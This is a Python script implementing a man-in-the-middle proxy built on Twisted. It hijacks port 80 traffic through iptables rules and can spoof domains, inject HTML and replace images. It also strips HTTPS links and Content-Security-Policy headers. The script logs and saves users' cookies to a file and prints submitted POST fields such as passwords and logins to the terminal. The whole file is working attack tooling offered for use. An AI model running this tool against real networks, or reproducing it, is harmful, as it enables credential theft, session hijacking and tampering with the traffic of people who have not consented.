Tidied up a bit

#!/usr/bin/python
#Blah, blah, copyright, GNU. Pls copy all you want.
from twisted.web.server import NOT_DONE_YET
from twisted.web import http
from twisted.internet import reactor, protocol
import re, sys, os, gzip, argparse, zlib

#Terminal colors
V = '\033[95m'
B = '\033[94m'
G = '\033[92m'
Y = '\033[93m'
R = '\033[91m'
W = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'

#set up iptables
os.system("iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080")
#os.system("iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080")

def parse_args():
    parser = argparse.ArgumentParser(description="Man in the middle proxy.")
    parser.add_argument("--spoof-domain", help="comma-separated list of domains, each domain corresponds to one domain in spoof-with", metavar="<domain>")
    parser.add_argument("--spoof-with", help="comma-separated list of domains. use the prefix 'file:' to use a local file", metavar="<domain>")
    parser.add_argument("--redirect", help="redirect using HTTP 302 code", metavar="<domain>")
    parser.add_argument("--redirect-to", help="redirect to here using HTTP 302 code", metavar="<domain>")
    parser.add_argument("--add-html", help="add html to browsed pages", metavar="<code>")
    parser.add_argument("--replace-images", help="replace images with the image in the link", metavar="<link>")
    parser.add_argument("--ide", help="intercept files with the given extension", metavar="<extension>")
    parser.add_argument("--idu", help="url with target file", metavar="<url>")
    parser.add_argument("--block", help="comma-separated list of domains to block", metavar="<domains>")
    parser.add_argument("--block-message", help="message to show when a website is blocked", metavar="<message>")
    parser.add_argument("--save-cookies", help="save cookies to cookies.txt", action='store_true')
    parser.add_argument("--show-cookies", help="print cookies to terminal", action='store_true')
    parser.add_argument("--show-headers", help="print headers to terminal", action='store_true')
    return parser.parse_args()

args = parse_args()
if args.spoof_domain or args.spoof_with:
    if not args.spoof_domain:
        sys.exit("spoof-domain missing")
    elif not args.spoof_with:
        sys.exit("spoof-with missing")
try:
    global domain_list
    domain_list = zip(args.spoof_domain.split(","), args.spoof_with.split(","))
    print(domain_list)
except:
    pass

if args.block:
    global block
    block = args.block.split("/")

if args.ide or args.idu:
    if not args.ide:
        sys.exit("ide missing")
    elif not args.idu:
        sys.exit("idu missing")

if args.replace_images:
    args.replace_images = args.replace_images.replace("http://","")
    if not args.replace_images.startswith("www."):
        args.replace_images = "www."+args.replace_images

try:
    class ProxyClient(http.HTTPClient):
        def __init__(self, method, uri, postData, headers, originalRequest):
            self.method = method
            self.uri = uri
            self.postData = postData
            self.headers = headers
            self.originalRequest = originalRequest
            self.contentLength = None

        def sendRequest(self):
            self.sendCommand(self.method, self.uri)

        def sendHeaders(self):
            for key, values in self.headers:
                if args.show_headers:
                    try:
                        print(key, value)
                    except:
                        pass
                if key.lower() == 'connection':
                    values = ['close']
                elif key.lower() == 'keep-alive':
                    next
                elif key.lower() == 'content-security-policy':
                    value = ['']
                elif key.lower() == 'cookie':
                    if args.show_cookies:
                        print(key, values)
                    if args.save_cookies:
                        global host
                        with open("cookies.txt","a+") as f:
                            if host not in f.read():
                                f.write("Host: "+host+"\n")
                                for line in values:
                                    for cookie in line.split(";"):
                                        f.write("\t"+cookie.strip()+"\n")
                elif key.lower() == 'accept-encoding':
                    values = ['gzip'] #Ask sites to return gzipped pages

                for value in values:
                    self.sendHeader(key, value)
            self.endHeaders()

        def sendPostData(self):
            self.transport.write(self.postData)

        def connectionMade(self):
            self.sendRequest()
            self.sendHeaders()
            if self.method == 'POST':
                self.sendPostData()

        def handleStatus(self, version, code, message):
            if code.startswith("4"):
                print(R+"<- "+version+" "+code+" "+message+W)
            elif code.startswith("2"): #Print server response
                print(G+"<- "+version+" "+code+" "+message+W)
            elif code == "301":
                print(BOLD+R+"<- "+version+" "+code+" "+message+W)
            else:
                print(B+"<- "+version+" "+code+" "+message+W)
            self.originalRequest.setResponseCode(int(code), message)

        def handleHeader(self, key, value):
            if args.show_headers:
                print(key, value)
            if key.lower() == 'content-length':
                self.contentLength = value
            elif key.lower() == 'content-security-policy':
                value = ['']
            elif key.lower() == 'cookie':
                value = ['']
            elif key.lower() == 'content-encoding':
                value = ['text/html; charset=utf-8']
            else:       #Change text encoding to plaintext, since we decoded it
                self.originalRequest.responseHeaders.addRawHeader(key, value)

        def handleResponse(self, data):
            data = self.originalRequest.processResponse(data)

            if self.contentLength != None:
                self.originalRequest.setHeader('Content-Length', len(data))
            self.originalRequest.write(data)
            try:
                self.originalRequest.finish()
                self.transport.loseConnection()
            except:
                pass

    class ProxyClientFactory(protocol.ClientFactory):
        def __init__(self, method, uri, postData, headers, originalRequest):
            self.protocol = ProxyClient
            self.method = method
            self.uri = uri
            self.postData = postData
            self.headers = headers
            self.originalRequest = originalRequest

        def buildProtocol(self, addr):
            return self.protocol(self.method, self.uri, self.postData,
                                 self.headers, self.originalRequest)

        def clientConnectionFailed(self, connector, reason):
            self.originalRequest.setResponseCode(504)
            try:
                self.originalRequest.finish()
            except:
                pass

    class ProxyRequest(http.Request):
        def __init__(self, channel, queued, reactor=reactor):
            http.Request.__init__(self, channel, queued)
            self.reactor = reactor
        def process(self):
            global uri
            global domain_list
            uri = self.uri
            global host
            spoofed = ""
            host = self.getHeader('host')

            if not host:
                self.setResponseCode(400)
                self.finish()
                return

            if args.block:
                global block
                for elem in block:
                    if elem in host:
                        print(Y+"-- Blocked "+host+W)
                        self.setResponseCode(200)
                        if args.block_message:
                            self.write(args.block_message)
                        self.finish()
                        return

            if args.redirect:
                if str(args.redirect) in host:
                    print(G+">> "+host+" -> "+V+str(args.redirect_to+W))
                    self.setResponseCode(302)
                    self.responseHeaders.addRawHeader("location", str(args.redirect_to))
                    self.finish()
                    return

            local = False
            localfilename = None
            if args.spoof_domain and args.spoof_with:
                for spoof_dom, spoof_with in domain_list:
                    if str(spoof_dom) in host:
                        spoofed = "SPOOFED FROM "+host+self.uri
                        if spoof_with.startswith("file:"):
                            local = True
                            localfilename = spoof_with[5:]
                            host = "LOCALFILE"

                        else:
                            host = spoof_with

            if args.ide:
                if self.uri.endswith(args.ide):
                    host = args.idu.split("/")[0]
                    self.uri = "/"+"/".join(args.idu.split("/")[1:])

            port = 80
            if ':' in host:
                host, port = host.split(':')
                port = int(port)


            imagetypes = ["image/gif","image/jpeg","image/png","image/ico"] #Values which show the browser is expecting an image
            try:
                if self.getHeader('accept').split(',')[0] in imagetypes and args.replace_images:
                #Replace image links with this
                    print(args.replace_images)
                    spoofed = "SPOOFED FROM "+host+self.uri
                    host = args.replace_images.split("/")[0]
                    self.uri = "/"+"/".join(args.replace_images.split("/")[1:])
            except:
                pass


            self.setHost(host, port)
            self.content.seek(0, 0)
            postData = self.content.read()

            interestingFields = ["email", "user", "pass", "login", "password", "username"]
            if self.method == "POST":
                print(BOLD+G+"-> "+self.method+" "+host+self.uri+W+" "+V+spoofed+W)
                if "ajax" not in self.uri:
                    for element in postData.split("&"):
                        if element.split("=")[0] in interestingFields:
                            print("   "+BOLD+G+element+W)

            else:
                print(B+"-> "+self.method+" "+host+self.uri+V+" "+spoofed+W)

            if local: #Are we replacing page with our local file?
                self.setResponseCode(200)
                self.write(open(localfilename,"r").read())
                self.finish()
                return

            factory = ProxyClientFactory(self.method, self.uri, postData,
                                         self.requestHeaders.getAllRawHeaders(),
                                         self)
            self.reactor.connectTCP(host, port, factory)

        def processResponse(self, data):
            try:
                gunzip_fail = False
                newdata = zlib.decompress(data, 16+zlib.MAX_WBITS) #Gunzip
            except: #Try decompressing
                gunzip_fail = True
            if not gunzip_fail: #Don't add html if failed gunzipping
                if args.add_html:
                    newdata+=str(args.add_html)
                newdata = newdata.replace("https://","http://")#Strip https links
                return newdata

            else:
                #if str(args.add_code):
                #   data+=str(args.add_code)
                #data = data.replace("https://","http://")
                return data

    class TransparentProxy(http.HTTPChannel):
        requestFactory = ProxyRequest

    class ProxyFactory(http.HTTPFactory):
        protocol = TransparentProxy

    reactor.listenTCP(8080, ProxyFactory())
    print("Running")
    reactor.run()
finally:
    os.system("iptables -F")
    os.system("iptables -X") #Remove everything from iptables
    os.system("iptables -t nat -F")
    os.system("iptables -t nat -X")